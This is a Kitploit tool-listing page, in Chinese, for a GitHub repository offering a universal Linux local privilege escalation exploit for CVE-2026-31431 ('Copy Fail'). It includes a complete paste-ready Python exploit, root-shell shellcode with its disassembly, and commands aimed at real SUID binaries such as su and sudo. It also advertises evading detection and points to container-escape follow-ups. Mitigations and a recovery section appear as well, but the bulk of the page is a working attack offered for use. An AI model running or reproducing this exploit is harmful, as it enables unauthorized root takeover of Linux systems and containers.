Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-31431-CopyFail-Universal-LPE — CVE-2026-31431 复制失败 — 通用本地权限提升(LPE)漏洞利用。动态 ELF 偏移 + 全二进制覆盖,兼容 Python 2/3,并带有 ctypes splice 回退方案。 | Kitploit
工具/GitHubGitHub/shadowabi/cve-2026-31431-copyfail-universal-lpe
权限提升容器安全漏洞利用框架漏洞分析漏洞利用渗透测试红队Payload 开发二进制利用

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
GitHubshadowabi/cve-2026-31431-copyfail-universal-lpe

CVE-2026-31431-CopyFail-Universal-LPE

CVE-2026-31431 复制失败 — 通用本地权限提升(LPE)漏洞利用。动态 ELF 偏移 + 全二进制覆盖,兼容 Python 2/3,并带有 ctypes splice 回退方案。

查看仓库
57133个月前Kitploit 审核通过

CVE-2026-31431 “Copy Fail” — 通用本地提权漏洞利用

Linux 内核页缓存 4 字节任意写入 → 本地权限提升

多种利用方式:动态 ELF 入口点覆盖、完整二进制替换、兼容 Python 3.x 的 ctypes splice 回退方案。

这是什么?

CVE-2026-31431 是 Linux 内核 AF_ALG 加密子系统中的一个漏洞。通过滥用 splice() + authencesn 原地解密,非特权用户可以在内核的页缓存(所有文件映射内存所使用的同一缓存)中任意偏移处写入 4 字节。

这意味着:

  • 无竞态条件 — 单线程、确定性执行
  • 无需特殊权限 — 可在默认 Docker 容器内运行(seccomp 默认允许 AF_ALG)
  • 不依赖内核版本 — 影响 2017 年至今的所有内核
  • 仅修改内存中的文件 — 磁盘不受影响,重启后所有痕迹消失

利用方式

本仓库提供三种基于同一 AF_ALG copy-fall 原语的工具:

动态入口点完整二进制替换漏洞检测器
文件exploit.pypoc_compatible.pycheck_cve.sh
策略用 shellcode 覆盖 ELF 入口点从偏移 0 开始替换整个二进制测试目标是否存在漏洞
目标任意 x86_64 SUID 二进制任意二进制(SUID 或非 SUID)不适用
Python3.x(所有版本)2 / 3Bash
载荷36 字节 shellcodezlib 压缩的完整 ELF不适用
作者本作品h4ppy7reeh4ppy7ree

动态入口点 — 运行时解析 ELF 头以计算入口点文件偏移(p_offset + (e_entry - p_vaddr)),然后写入一个小的 shellcode 存根。无硬编码偏移 — 一个脚本适用于任何 x86_64 SUID 二进制,无论发行版或版本。

完整二进制替换 — 从偏移 0 开始用完整的预构建 ELF 载荷(zlib 压缩并嵌入脚本中)覆盖目标。可针对由特权进程(cron 任务、systemd 服务、kube-proxy)执行的非 SUID 二进制。支持 Python 2。

漏洞检测器 — 在运行利用前测试目标系统是否具备 AF_ALG、authencesn 和 algif_aead。

快速开始

前置条件

  • Linux 内核(约 2017 年以来的任意版本)
  • Python 3.x(用于 exploit.py;Python 2 通过 poc_compatible.py 支持)
  • 任意 SUID-root 二进制(/usr/bin/su、/usr/bin/sudo 等)

单行复现

root@kitploit:~
# 创建一个带非特权用户的测试容器
docker run -ti --rm ubuntu:22.04 bash -c '
  sed -i "s|archive.ubuntu.com|mirrors.aliyun.com|g;s|security.ubuntu.com|mirrors.aliyun.com|g" /etc/apt/sources.list
  apt-get update -qq && apt-get install -y -qq python3 gcc
  cat > /tmp/verify.c << EOF
#include <unistd.h>
#include <stdio.h>
int main() {
    printf("uid=%d euid=%d\\n", getuid(), geteuid());
    printf("Not rooted - exploit entry point to get shell\\n");
    return 0;
}
EOF
  gcc -o /usr/local/bin/verify /tmp/verify.c
  chmod 4755 /usr/local/bin/verify
  useradd -m testuser
  su - testuser
'

然后在容器内以 testuser 身份执行:

root@kitploit:~
# 之前:setuid(0) 失败,因为真实 uid 不是 0
/usr/local/bin/verify
# uid=1000 euid=0
# (正常退出,无 root 权限)

# 运行利用
python3 exploit.py /usr/local/bin/verify

# 之后:入口点被覆盖,shellcode 获取 root 权限
# uid=0(root) gid=1000(testuser)

单行命令(无需文件传输)

在真实场景中,你通常只有一个原始 shell — 没有 scp、没有 curl、没有 wget。此方法使用 cat heredoc 直接在终端中写入利用脚本:

root@kitploit:~
# 选项 1:运行 shell 脚本
sh exploit-one-liner.sh /usr/local/bin/verify

# 选项 2:直接粘贴到终端(复制整个代码块)
cat > /tmp/exploit.py << 'EXPY'
from __future__ import print_function
import os,socket,struct,sys,binascii,ctypes,ctypes.util
if not hasattr(os,'splice'):
 _l=ctypes.CDLL(ctypes.util.find_library('c'),use_errno=True)
 def _s(src,dst,count,offset_src=None,offset_dst=None,flags=0):
  ctypes.set_errno(0);pi=ctypes.byref(ctypes.c_longlong(offset_src)) if offset_src is not None else None;po=ctypes.byref(ctypes.c_longlong(offset_dst)) if offset_dst is not None else None;r=_l.splice(ctypes.c_int(src),pi,ctypes.c_int(dst),po,ctypes.c_size_t(count),ctypes.c_uint(flags))
  if r==-1:raise OSError(ctypes.get_errno(),'splice')
  return r
 os.splice=_s
def d(x):
 if isinstance(x,str):x=x.encode('ascii')
 return binascii.unhexlify(x)
def w(t,o,p):
 s=socket.socket(38,5,0);s.bind(("aead","authencesn(hmac(sha256),cbc(aes))"))
 s.setsockopt(279,1,d('0800010000000010'+'0'*64));s.setsockopt(279,5,None,4)
 u,_=s.accept();z=d('00')
 u.sendmsg([b"A"*4+p],[(279,3,z*4),(279,2,b'\x10'+z*19),(279,4,b'\x08'+z*3)],32768)
 r,ww=os.pipe();fd=os.open(t,0);os.splice(fd,ww,o+4,offset_src=0);os.splice(r,u.fileno(),o+4)
 try:u.recv(8+o)
 except:0
 [os.close(x) for x in [fd,r,ww]];u.close();s.close()
with open(sys.argv[1],'rb') as f: h=f.read(64)
e=struct.unpack_from('<Q',h,24)[0]
p=struct.unpack_from('<Q',h,32)[0]
n=struct.unpack_from('<H',h,56)[0]
sz=struct.unpack_from('<H',h,54)[0]
off=0
with open(sys.argv[1],'rb') as f:
 for i in range(n):
  f.seek(p+i*sz);ph=f.read(sz)
  if struct.unpack_from('<I',ph,0)[0]!=1: continue
  pv,po,pf=struct.unpack_from('<QQQ',ph,16)[:3];pv2=struct.unpack_from('<Q',ph,8)[0]
  if pv<=e<pv+pf: off=pv2+(e-pv);break
print("entry offset: 0x%x" % off)
sc=b'\x48\x31\xff\x31\xc0\xb0\x69\x0f\x05'
sc+=b'\x48\x31\xd2\x52'
sc+=b'\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00'
sc+=b'\x53\x48\x89\xe7\x48\x31\xf6\x31\xc0\xb0\x3b\x0f\x05'
print("shellcode %d bytes" % len(sc))
sc+=b'\x00'*(4-len(sc)%4)
for i in range(len(sc)//4):
 w(sys.argv[1],off+i*4,sc[i*4:i*4+4])
 print("  wrote 0x%x: %s" % (off+i*4,sc[i*4:i*4+4].hex()))
with open(sys.argv[1],'rb') as f:
 f.seek(off);vd=f.read(32)
print("verify: %s" % vd[:len(sc)].hex())
os.system(sys.argv[1])
EXPY

python3 /tmp/exploit.py /usr/local/bin/verify

为什么这很重要:容器环境通常缺少文件传输工具(scp、curl、wget)。heredoc 方法只需要 cat 和 python3 — 随处可用。

针对其他 SUID 二进制

你可以将 /usr/local/bin/verify 替换为任意 SUID-root 二进制:

root@kitploit:~
python3 exploit.py /usr/bin/su
python3 exploit.py /usr/bin/sudo
python3 exploit.py /usr/bin/passwd
python3 exploit.py /usr/bin/chsh

⚠️ 警告:针对系统 SUID 二进制(如 /usr/bin/su)会影响系统上的所有用户。该二进制在页缓存被清除前将无法使用。在宿主机上,任何运行 su 的用户都会获得 root shell。

在共享/生产系统上,这会立即被察觉 — su 将对所有人崩溃或产生意外 shell。请使用 verify.c 进行安全测试。

恢复

该利用仅修改页缓存(内存),不修改磁盘。恢复选项:

root@kitploit:~
# 在宿主机上(容器测试后):
echo 3 | sudo tee /proc/sys/vm/drop_caches

# 验证恢复:
xxd -l 8 /usr/bin/su
# 应显示:7f45 4c46 (.ELF)

注意:在默认(非特权)容器内,echo 3 > /proc/sys/vm/drop_caches 会因 Read-only file system 失败 — 这需要宿主机访问权限或销毁容器。

攻击面

工作原理

漏洞本身

内核的 authencesn AEAD 算法在其原地解密路径中存在一个 bug:

  1. 用户使用 authencesn(hmac(sha256), cbc(aes)) 创建一个 AF_ALG 套接字
  2. 用户调用 splice() 将文件数据送入加密套接字 — 这会将页缓存页直接映射到内核的 scatterlist 中
  3. 在解密过程中,authencesn 在认证标签之后写入 4 字节的 seqno_lo
  4. 通过控制关联数据长度和 IV 布局,攻击者可以控制这 4 字节的落点

结果:对任意页缓存文件进行 4 字节任意写入。

利用过程

root@kitploit:~
┌─────────────────────────────────────────────────────┐
│  ELF 二进制 (/usr/bin/su)                           │
│                                                     │
│  0x0000: ┌──────────┐                               │
│          │ ELF 头    │  e_entry = 0x4013f0         │
│          │           │  ← 动态解析                  │
│          └──────────┘                               │
│  ...                                                │
│  0x3f20: ┌──────────┐  ← 计算出的文件偏移          │
│          │ 原始代码  │                               │
│          │           │  ─── copy fall 写入 ───→   │
│          │ SHELLCODE │  setuid(0) + execve("/bin/sh")│
│          └──────────┘                               │
│  ...                                                │
└─────────────────────────────────────────────────────┘

当内核加载 SUID 二进制时,它设置 euid=0,然后跳转到入口点。
入口点现在是我们的 shellcode → setuid(0) 成功 → root shell。

Shellcode

root@kitploit:~
xor  rdi, rdi          ; uid = 0
xor  eax, eax
mov  al, 0x69           ; __NR_setuid
syscall                 ; setuid(0)
xor  rdx, rdx
push rdx                ; 空终止符
movabs rbx, "/bin/sh\0"
push rbx
mov  rdi, rsp           ; 文件名
xor  rsi, rsi           ; argv = NULL
xor  eax, eax
mov  al, 0x3b           ; __NR_execve
syscall                 ; execve("/bin/sh", NULL, NULL)

36 字节,9 次 copy-fall 写入(每次 4 字节)。

为什么这很重要

容器安全

默认 Docker 容器无法防御此漏洞:

防护机制状态
Seccomp✅ 默认允许 AF_ALG
用户命名空间❌ 默认 Docker 不使用
AppArmor/SELinux❌ 不限制 AF_ALG
能力(Capability)丢弃❌ 无需特殊能力

唯一阻止容器逃逸的是 overlayfs 的每挂载点页缓存隔离。但一旦你在容器内获得 root,标准逃逸技术即可适用(cgroup release_agent、docker.sock、K8s serviceaccount 令牌、云元数据)。

检测难度

  • 磁盘从未被修改 — 页缓存写入仅存在于内存
  • 不创建新文件 — 利用只是一个 Python 脚本
  • 不加载内核模块 — 纯系统调用滥用
  • 重启清除所有证据 — 页缓存是易失的

受影响系统

自 algif_aead 原地转换(约 2017 年合并)以来的每个 Linux 内核,包括:

  • Ubuntu 18.04 / 20.04 / 22.04 / 24.04
  • Debian 10 / 11 / 12
  • RHEL 8 / 9
  • CentOS Stream
  • Amazon Linux 2 / 2023
  • Docker 容器(默认 seccomp 配置)
  • Kubernetes Pod(默认配置)
  • WSL2(已确认)

文件结构

root@kitploit:~
.
├── exploit.py              # 动态 ELF 入口点覆盖(Python 3.x)
├── exploit-one-liner.sh    # 便于粘贴的版本(无需文件传输)
├── poc_compatible.py       # 从偏移 0 完整覆盖 ELF 二进制(Python 2/3,作者 h4ppy7ree)
├── poc_ctypes.py           # 适用于 Python 3.0-3.9 的 ctypes splice(作者 h4ppy7ree)
├── check_cve.sh            # 漏洞检测器(作者 h4ppy7ree)
├── verify/
│   └── verify.c            # 用于测试的 SUID 验证程序
└── README.md               # 本文件

防御措施

  • 应用内核补丁 — 上游修复已可用
  • Seccomp:阻止 AF_ALG 域(socket(AF_ALG, ...) → errno)
  • AppArmor:拒绝 af_alg 套接字创建
  • 内核加固:CONFIG_CRYPTO_USER_API_AEAD=n
  • 监控:审计 socket(AF_ALG=38, SOCK_SEQPACKET=5, 0) 系统调用

致谢

  • 漏洞发现:Taeyang Lee (Theori) / theori-io/copy-fail-CVE-2026-31431
  • 动态偏移计算与通用利用:本作品
  • 完整二进制替换方法与漏洞检测器:h4ppy7ree(PR #1)

免责声明

本利用程序仅供授权的安全研究和教育目的使用。未经授权访问计算机系统是违法的。作者不承担任何责任,也不对因使用本程序造成的任何滥用或损害负责。

许可证

MIT

下载工具
方法位置命令
清除页缓存宿主机(root)echo 3 > /proc/sys/vm/drop_caches
重启任意位置reboot — 页缓存是易失的
销毁容器任意位置docker rm — 页缓存随容器释放
向量可行?详情
本地提权(本地用户 → root)✅ 是覆盖 SUID 二进制入口点
容器逃逸(默认)❌ 否overlayfs 每挂载点页缓存隔离
容器逃逸(宿主机写入)✅ 是从宿主机通过 /proc/PID/root/ 写入
跨容器(宿主机写入)✅ 是相同 inode → 共享下层页缓存